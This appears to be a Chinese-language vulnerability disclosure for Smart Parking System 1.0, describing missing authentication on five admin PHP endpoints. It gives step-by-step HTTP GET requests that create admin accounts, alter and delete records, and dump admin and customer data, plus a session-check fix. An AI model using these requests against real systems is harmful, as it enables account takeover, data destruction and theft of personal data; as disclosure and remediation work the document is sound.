| 字段 | 详情 |
|---|---|
| 产品 | Smart Parking System |
| 厂商 | code-projects.org |
| 版本 | 1.0 |
| 漏洞类别 | 关键功能缺少身份验证(CWE-306) |
| CVE ID | 待定 |
| CVSS 评分 | 9.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 所需身份验证 | 无 |
| 受影响文件 | attendant.php、edit.php、basic_table.php、basic_table2.php、admin_request.php |
code-projects.org 开发的 Smart Parking System 1.0 未能在多个仅限管理员访问的端点上强制执行身份验证。未认证的远程攻击者无需会话 Cookie 即可直接访问这些端点,并执行特权操作,包括创建管理员账户、编辑和删除停车记录,以及查看所有客户 PII 和预订数据。
利用此漏洞无需任何凭据、会话令牌,也无需任何合法用户的交互。
无需凭据 / 无需会话
↓
直接向管理员端点发送 GET 请求
↓
attendant.php → 创建恶意管理员账户
edit.php → 读取并覆盖任意停车记录
basic_table.php → 删除任意停车记录
basic_table2.php → 导出所有管理员 PII
admin_request.php → 导出所有客户邮箱和预订数据
↓
完整管理员功能被攻陷
打开一个无 Cookie 的全新浏览器会话。导航至应用程序根目录。页面显示登录页面,确认当前不存在活动会话:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/ HTTP/1.1
Host: 192.168.0.9
直接导航至管理员注册端点:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/attendant.php HTTP/1.1
Host: 192.168.0.9
结果: 完整的"添加停车管理员详细信息"表单加载,包含名字、姓氏、手机号码、街道、用户名和密码字段。攻击者可以注册一个具有系统访问权限的恶意管理员账户。
直接导航至停车记录编辑端点:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//edit.php?edit=5 HTTP/1.1
Host: 192.168.0.9
结果: "更新停车详情"表单加载并预填充了实时数据库值:
城市: Mombasa
街道: Tudor
车位: 150
费用: 500
攻击者可以覆盖任意字段并提交,将更改直接持久化到数据库。
直接向删除端点发送 GET 请求:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/basic_table.php?delete=4 HTTP/1.1
Host: 192.168.0.9
结果: 应用程序响应:
停车记录删除成功
该记录在数据库中被永久销毁。无需身份验证、无需 CSRF 令牌、也无需确认提示。
直接导航至管理员列表端点:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//basic_table2.php HTTP/1.1
Host: 192.168.0.9
结果: 返回完整的管理员名册,包括姓名、手机号码和分配的街道:
karis kelvin 070824555 msa
king doshi 0708009360 Nairobi
james peter 0708009360 vol
tset test 0708009360 tset
直接导航至管理员预订请求端点:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//admin_request.php HTTP/1.1
Host: 192.168.0.9
结果: 返回所有客户预订记录,包括邮箱、车位、小时数和费用:
[email protected] slots:4 hours:2 cost:4000 status:requested
[email protected] slots:1 hours:6 cost:1200 status:Completed
[email protected] slots:1 hours:2 cost:1000 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:3 cost:0 status:requested
[email protected] slots:1 hours:2 cost:1000 status:requested
在每个面向管理员的 PHP 文件顶部添加会话身份验证检查:
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: index.php");
exit();
}
| 文件 | 漏洞 |
|---|
attendant.php | 未认证的管理员账户创建 |
edit.php | 未认证的停车记录读写访问 |
basic_table.php | 未认证的停车记录删除 |
basic_table2.php | 未认证访问完整管理员 PII |
admin_request.php | 未认证访问所有客户预订数据 |